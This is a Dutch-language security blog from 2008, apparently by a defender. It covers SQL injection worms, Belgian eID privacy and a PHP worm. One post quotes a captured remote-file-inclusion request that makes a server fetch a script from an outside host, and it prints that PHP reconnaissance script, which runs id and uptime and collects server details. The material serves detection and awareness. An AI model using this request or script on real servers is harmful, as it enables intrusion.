Wednesday, June 25, 2008

SQL Injection - Deel 4

Microsoft heeft drie tools gelanceerd om web site owners te helpen tegen het SQL Injection virus.

Eerst tool is voor source code analysis, tweede tool is een crawler zoals het virus en een derde tool is een beta versie van URLScan dat SQL Injection afblokt.

Ik zou zeggen: het wordt tijd om die te installeren en te gebruiken!

Monday, June 16, 2008

eID en de privacy

Daarnet de video gezien over de "onveiligheid" van de eID vanop http://belsec.skynetblogs.be/post/5870586/belgian-eid--the-video-that-shows-how-good-ou
OK, de privacywall is niet echt zoals het moet. Maar het probleem is wel groter dan wat de video beweert. Om de data uit te lezen moet de gebruiker een programma opstarten, dus dit via e-mail binnenkrijgen of downloaden. Dit wordt op een bedrijfsnetwerk toch al beter tegengehouden dan 5 jaar geleden.

Ik herinner mij mijn presentatie op het seminarie van IT Works in 2005 over eID security waar ik duidelijk aangaf dat iedereen die op een web site kwam met daarin een hidden Java applet al zijn eID data kon worden uitgelezen (naam, adres, ...) omdat Internet Explorer en Firefox standaard de toelating geven.

En dat is pas een goede versie van Google Analytics :)

De enige pop-up die je krijgt in de browser is voor de PIN-code, wat ook kan worden gespoofed. Maar ja, van zodra je op de verkeerde website komt kunnen er veel ergere dingen gebeuren dan je familie naam en adres stelen.

Dus zoals SOS Piet zou zeggen: Wat hebben we vandaag geleerd?
1. Gebruik alleen de e-ID als de website HTTPS vereist en gebruikt (heel belangrijk want dit wordt veel vergetenà
2. Geef de PIN-code alleen in op een website die je vertrouwt (opnieuw, enkel als stap 1 bestaat)
3. Van zodra de authenticatie is gelukt verwijder de kaart uit de kaartlezer en laat die niet de ganse dag insteken

Stap 3 is natuurlijk moeilijk als je heel veel de e-ID moet gebruiken, maar ik denk dat we mogen stellen dat 80% van de gebruikers die de e-ID al hebben dit maar een paar keer per maand nodig hebben.

Wednesday, June 4, 2008

SQL Injection virus - Deel 3

Zonet nog een ontdekking gedaan ivm het SQL Injection virus. Als de web site content importeert van geinfecteerde web sites dan is dit ook een manier om bezoekers te infecteren.

HTML encoderen van output is dus een must om bezoekers niet te infecteren.
Ook validatie van data imports is noodzakelijk.

SQL Injection virus - Deel 2

Zojuist gezien dat er ook al web sites het virus bevatten die geschreven zijn in ASP.NET.
Dit betekent dus dat er een variant is die zich richt op ASPX extensies in Google.

Analyses en richtlijnen van Microsoft, http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

Het is dus nog niet gedaan. Zeker als je weet dat er meer .NET web sites zijn om te infecteren.

Ondertussen detecteren de meeste anti-virus scanners het script, dus dat is een goeie zaak.
Als je met een up-to-date anti-virus scanner werkt natuurlijk.

Monday, June 2, 2008

PHP worm gedetecteerd

Volgens mij gaat er een nieuwe worm rond die PHP sites infecteert.
Men maakt misbruik van een remote file inclusion bug in aide.php3. Dit is een Franstalig PHP pakket, GestArt.

Volgende trigger blokkeerde de request in onze ModSecurity:
GET /aide.php3?aide=http://www.iglesialcs.cl/newweb/cache/id2.txt?? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: :)
User-Agent: libwww-perl/5.76

Die id2.txt is een PHP script dat doorgeeft hoeveel diskspace het systeem over heeft:
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024); }

echo "netcat
";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "netcat
";
echo "uname -a: $un
";
echo "os: $os
";
echo "uptime: $up
";
echo "id: $id1
";
echo "pwd: $pwd1
";
echo "php: $php1
";
echo "software: $sof1
";
echo "server-name: $name1
";
echo "server-ip: $ip1
";
echo "free: $free
";
echo "used: $used
";
echo "total: $all
";
exit;

Iemand is dus op zoek naar gratis hosting!

Friday, May 16, 2008

Nieuwe SQL Injection worm - webmasters opgepast!

Als u nog een website gebruikt met Microsoft ASP en een achterliggende databank, lees dan zeker verder.
Een nieuw virus is actief dat gebruik maakt van SQL Injection om zich te verspreiden en om web sites te infecteren met een virus. Bezoekers van dergelijke sites worden dan geïnfecteerd door kwaadaardig JavaScript.

Onderzoek van oa SecureWorks blijkt dat de SQL Injection attack gebeurt door geïnfecteerde PCs. Deze bots gebruiken Google om web sites te vinden met extensie .asp. Als een web site is geïdentifeerd dan probeert de bot om via SQL Injection een gevaarlijke payload weg te schrijven in de databank. Als deze databank wordt gebruikt als Content Management Systeem (CMS) dan zal op een web pagina deze payload worden meegegeven aan de bezoeker. De payload probeert om via JavaScript kwetsbaarheden in de browser en plug-ins zoals RealPlayer uit te buiten en zo een virus te installeren.

Ook Belgische web sites zijn geïnfecteerd.

Hebt u een web site in ASP, zorg er dan voor dat u alle parameters valideert om SQL Injection tegen te houden.